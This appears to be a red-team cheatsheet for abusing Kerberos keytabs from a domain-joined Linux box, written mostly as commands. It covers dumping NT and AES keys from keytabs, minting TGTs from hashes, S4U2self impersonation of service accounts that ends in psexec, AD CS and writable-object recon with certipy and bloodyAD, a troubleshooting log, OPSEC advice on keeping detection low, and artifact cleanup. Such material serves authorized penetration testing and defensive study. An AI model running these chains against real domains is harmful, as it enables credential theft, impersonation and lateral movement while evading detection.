Skip to content

Kerberos Keytabs on Linux (MIT krb5) β€” Cheatsheet

Purpose: Operate a domain-joined Linux box as its own machine account β€” read/build keytabs, mint TGTs (kinit -k), route per-identity ccaches via KRB5CCNAME so impacket/certipy/bloodyAD pick the right ticket, and survive the etype/clock-skew/realm pitfalls that silently break Kerberos.

Prereqs / context: A domain-joined Linux operator box (<ATTACKER_HOST>, IP <ATTACKER_IP>) with a machine keytab at /etc/krb5.keytab for <ATTACKER_HOST>$@<REALM>. REALM is the UPPERCASE DNS domain (<DOMAIN> lowercase β†’ <REALM> uppercase). /etc/krb5.keytab is root-only β†’ almost every keytab op needs sudo. Tools seen on the box: MIT krb5 kinit/klist/ktutil, Impacket v0.14.0.dev0, Certipy v4.8.2, bloodyAD.


1. Inspect a keytab (principals, KVNO, etypes) before you touch anything

sudo klist -k -t /etc/krb5.keytab                                              # list principals + KVNO + timestamps (no key bytes)
sudo klist -ke /etc/krb5.keytab                                                # same, but ALSO show the enctype per entry (aes256/aes128/rc4)
sudo klist -kte /etc/krb5.keytab                                               # -t timestamps + -e etypes together

A healthy machine keytab holds the SAM account plus host/ and RestrictedKrbHost/ SPNs, short + FQDN, one row per enctype β€” all at the same KVNO (here KVNO 3):

KVNO Timestamp         Principal
---- ----------------- --------------------------------------------------------
   3 05/04/26 18:50:28 <ATTACKER_HOST>$@<REALM>
   3 05/04/26 18:50:28 host/<ATTACKER_HOST>@<REALM>
   3 05/04/26 18:50:28 host/<attacker_host>.<DOMAIN>@<REALM>
   3 05/04/26 18:50:28 RestrictedKrbHost/<ATTACKER_HOST>@<REALM>
sudo kvno -k /etc/krb5.keytab '<ATTACKER_HOST>$@<REALM>'                       # local KVNO in the keytab
kvno 'host/<TARGET_FQDN>@<REALM>'                                              # KVNO the KDC currently hands out for an SPN (compare β†’ detect a stale keytab after a machine-pw rotation)

2. Get a TGT from the machine keytab (kinit -k) and route it

sudo kinit -k -t /etc/krb5.keytab '<ATTACKER_HOST>$@<REALM>'                   # AS-REQ as the machine acct using the keytab key (no password). REALM uppercase, SAM name with trailing $
sudo klist                                                                     # confirm: Default principal: <ATTACKER_HOST>$@<REALM> ; krbtgt/<REALM>@<REALM>

Because sudo kinit writes root's default cache (/tmp/krb5cc_0), hand it to your unprivileged tooling and pin it explicitly:

sudo cp /tmp/krb5cc_0 /tmp/krb5cc_machine                                      # copy out of root's cache
sudo chmod 644 /tmp/krb5cc_machine                                            # make it readable by your operator user
export KRB5CCNAME=/tmp/krb5cc_machine                                         # every krb5/impacket/certipy call now uses THIS ticket
klist                                                                          # verify as your normal user (not sudo) that you see the machine TGT

3. Per-identity ccache routing with KRB5CCNAME

Give every identity its own named ccache; switch identity by re-exporting. -k -no-pass makes impacket/certipy/bloodyAD read KRB5CCNAME.

export KRB5CCNAME=<FOOTHOLD>.ccache                                            # become the foothold machine acct
certipy find -u '<ATTACKER_HOST>$@<DOMAIN>' -k -no-pass -dc-ip <DC_IP> -target '<DC_FQDN>' -vulnerable -output adcs    # PKI recon with the machine TGT
bloodyAD -d <DOMAIN> --host <DC_FQDN> -u '<ATTACKER_HOST>$' -k get writable --detail                                   # writable-object recon over Kerberos
export KRB5CCNAME=<TARGET>.ccache                                              # flip to the next identity β€” same tools, different ticket
KRB5CCNAME='<TARGET>$.ccache' klist -e                                         # one-off: run a single command under a specific ccache without exporting

Filenames with a $ must be shell-escaped or single-quoted, or the shell eats it: export KRB5CCNAME='<TARGET>$.ccache' (or =<TARGET>\$.ccache).


4. Build / merge keytabs with ktutil

ktutil
  rkt /etc/krb5.keytab                                                         # read (load) an existing keytab into the working list
  list -e -t                                                                   # show slots with enctype + timestamp
  rkt other.keytab                                                             # read a second keytab β€” entries accumulate (this is how you MERGE)
  wkt merged.keytab                                                            # write the combined working list to a new keytab
  delete_entry 3                                                               # drop slot 3 (e.g. strip the weak rc4 entry; re-list, numbers shift)
  quit

Build a keytab from a known raw key (preferred β€” no salt guessing) so you can kinit -k as that principal:

ktutil
  addent -key -p '<TARGET>$@<REALM>' -k 3 -e aes256-cts-hmac-sha1-96           # then paste the raw AES256 key as hex at the "Key:" prompt
  wkt <TARGET>.keytab
  quit
sudo kinit -k -t <TARGET>.keytab '<TARGET>$@<REALM>'                           # TGT as that principal from your hand-built keytab

Build from a password instead (salt-sensitive β€” see the notes below):

ktutil
  addent -password -p '<USER>@<REALM>' -k 1 -e aes256-cts-hmac-sha1-96         # prompts for the password; derives the AES key using the default salt
  addent -password -p '<USER>@<REALM>' -k 1 -e arcfour-hmac                    # add an RC4 entry too (RC4 is unsalted β€” survives salt mistakes)
  wkt <USER>.keytab
  quit

Direction note (don't believe the myth): a keytab holds long-term keys → produces tickets (kinit -k). A ccache holds tickets, not keys — you cannot "convert" a TGT ccache back into a keytab. To go key→ticket use kinit -k or getTGT.py (§5); there is no ticket→keytab path.


5. You have keys but no keytab β†’ mint TGTs / extract keys

getTGT.py '<DOMAIN>/<TARGET>$' -hashes :<NT_HASH> -dc-ip <DC_IP>               # NT hash β†’ TGT ccache (RC4 session key β€” see the gotcha below)
getTGT.py '<DOMAIN>/<TARGET>$' -aesKey <AES_KEY> -dc-ip <DC_IP>               # AES256 key β†’ TGT with an AES session key (what hardened DCs want)
export KRB5CCNAME='<TARGET>$.ccache'                                           # route the freshly-minted ticket

Pull the AES256/AES128/NTLM keys back out of a keytab (klist won't print key bytes):

python3 keytabextract.py /etc/krb5.keytab                                      # KeyTabExtract β†’ dumps NTLM + AES256 + AES128 to feed getTGT -hashes/-aesKey

S4U2self/S4U2proxy from a controlled machine acct (the chain this engagement ran). Note: the impersonation ticket etype is decided by the TGT session key, so feed it an AES TGT:

export KRB5CCNAME=<TARGET>.ccache                                              # an AES-session-key TGT (from PKINIT/-aesKey), NOT an RC4 one
getST.py -self -impersonate '<SVC>' -altservice 'cifs/<TARGET_FQDN>' -k -no-pass -dc-ip <DC_IP> '<DOMAIN>/<TARGET>$'   # impersonate a non-protected svc acct β†’ cifs/<TARGET> ticket
export KRB5CCNAME='<SVC>.ccache' && psexec.py -k -no-pass <TARGET_FQDN>        # use the impersonation ticket

6. Realm hygiene (krb5.conf / KRB5_CONFIG) and time

export KRB5_CONFIG=/tmp/krb5.conf                                              # use a throwaway krb5.conf (custom [realms]/KDC mapping) without touching /etc/krb5.conf
sudo ntpdate <DC_FQDN>                                                         # sync clock to the KDC BEFORE any Kerberos op (kills KRB_AP_ERR_SKEW)
sudo rdate -n <DC_IP>                                                          # alt if ntpdate absent
sudo chronyc -a 'burst 4/4' && sudo chronyc -a makestep                       # alt: force chrony to step the clock now (chrony runs on this box)

What Went Wrong

  • kinit -k with no principal fails. sudo kinit -k -t /etc/krb5.keytab (no princ) β†’ kinit: Client 'host/<attacker_host>.<DOMAIN>@<REALM>' not found in Kerberos database while getting initial credentials. It defaulted to the host/FQDN SPN, which is not a valid AS-REQ client. Fix: always name the SAM account β€” '<ATTACKER_HOST>$@<REALM>'.
  • sudo vs user = two different caches. sudo kinit populated /tmp/krb5cc_0 (root); a plain klist in the operator shell still showed a stale FILE:<USER>.ccache. You think you're the machine acct, your tool isn't. Fix: the cp /tmp/krb5cc_0 … && chmod 644 … && export KRB5CCNAME=… dance from Β§2, then verify with non-sudo klist.
  • KRB_AP_ERR_MODIFIED (Message stream modified) on S4U2self β€” it's the etype, not policy. A TGT minted from an NT hash (getTGT.py -hashes) has an RC4 session key; a patched DC rejects the RC4-keyed PA-FOR-USER checksum. klist -e confirmed the cache was RC4 (Etype (skey, tkt): DEPRECATED:arcfour-hmac, …). Fix: get an AES session-key TGT via PKINIT (certipy auth -pfx <TARGET>.pfx -dc-ip <DC_IP>) or getTGT.py -aesKey, then re-run getST.py.
  • Same error string, different cause β€” protected target. Impersonating <ADMIN>/Tier-0 also returned KRB_AP_ERR_MODIFIED even with an AES ticket: the DC refuses S4U2self for a Protected Users / "sensitive, cannot be delegated" principal and impacket surfaces the refusal as MODIFIED instead of a clean KDC_ERR_POLICY. A non-protected service account went straight through. Don't read MODIFIED as a guaranteed crypto bug β€” rule out etype first, then suspect a protected principal.
  • KDC_ERR_C_PRINCIPAL_UNKNOWN on a bare name. -impersonate Administrator (no realm) β†’ unknown. Qualify it: -impersonate '<ADMIN>@<DOMAIN>'.
  • KDC_ERR_WRONG_REALM (Reserved for future use). Pointed a tool (certipy find, getTGT) at a DC in a different child domain than the ticket's realm. Fix: pin -dc-ip/-target to a DC of the same realm as your ccache, and keep a per-realm KRB5_CONFIG.
  • KDC_ERR_ETYPE_NOSUPP. Keytab/request offers an enctype the KDC won't accept (e.g. RC4 disabled, or a keytab with only DES). Check with klist -ke; rebuild the keytab with aes256-cts-hmac-sha1-96 (and aes128) via ktutil addent.
  • KRB_AP_ERR_SKEW. Clock > 5 min from the KDC. Sync first (Β§6) β€” chrony is already on the box; one chronyc makestep usually clears it.
  • addent -password salt mismatch. For computer/UPN accounts the AES salt isn't the obvious REALM+user, so a password-derived AES key can be wrong β†’ PREAUTH_FAILED. Prefer addent -key with the raw AES key, add an arcfour-hmac (RC4 is unsalted) entry as a fallback, or skip the keytab entirely and use getTGT.py -aesKey/-hashes.
  • Stale keytab after a machine-password rotation. If kinit -k suddenly throws PREAUTH_FAILED, compare local kvno -k to the live kvno host/<host> β€” a KVNO bump means the box rekeyed and /etc/krb5.keytab is behind.

Detection / OPSEC

  • kinit -k is a normal AS-REQ (event 4768) for a computer account β€” blends with routine domain-joined traffic; low fidelity. Reading /etc/krb5.keytab is local to the operator box and not AD-visible.
  • High-signal follow-ons are the uses of the ticket: TGS-REQ (4769) bursts, S4U2self/S4U2proxy sequences, and 4662 on PKI/object reads. Pace recon; don't fan out across all DCs at once.
  • Don't mix DCs mid-chain β€” pinning one -dc-ip both avoids WRONG_REALM/replication races and produces a cleaner, more predictable log trail.

Cleanup

  • Remove ccaches and any hand-built keytabs you staged: kdestroy -A, then shred -u /tmp/krb5cc_machine *.ccache <TARGET>.keytab <TARGET>.pfx.
  • Do not edit the host's real /etc/krb5.keytab; if you merged into a copy, delete the copy. Unset overrides: unset KRB5CCNAME KRB5_CONFIG.
  • If you minted impersonation/service tickets, let them expire or kdestroy them β€” they're the artifacts worth tidying.

References

  • MIT krb5 β€” ktutil: https://web.mit.edu/kerberos/krb5-latest/doc/admin/admin_commands/ktutil.html
  • MIT krb5 β€” kinit: https://web.mit.edu/kerberos/krb5-latest/doc/user/user_commands/kinit.html
  • MIT krb5 β€” klist: https://web.mit.edu/kerberos/krb5-latest/doc/user/user_commands/klist.html
  • Impacket (getTGT/getST/psexec): https://github.com/fortra/impacket
  • Certipy (PKINIT/shadow/auth): https://github.com/ly4k/Certipy
  • bloodyAD: https://github.com/CravateRouge/bloodyAD
  • KeyTabExtract (keys out of a keytab): https://github.com/sosdave/KeyTabExtract
  • The Hacker Recipes β€” Kerberos: https://www.thehacker.recipes/ad/movement/kerberos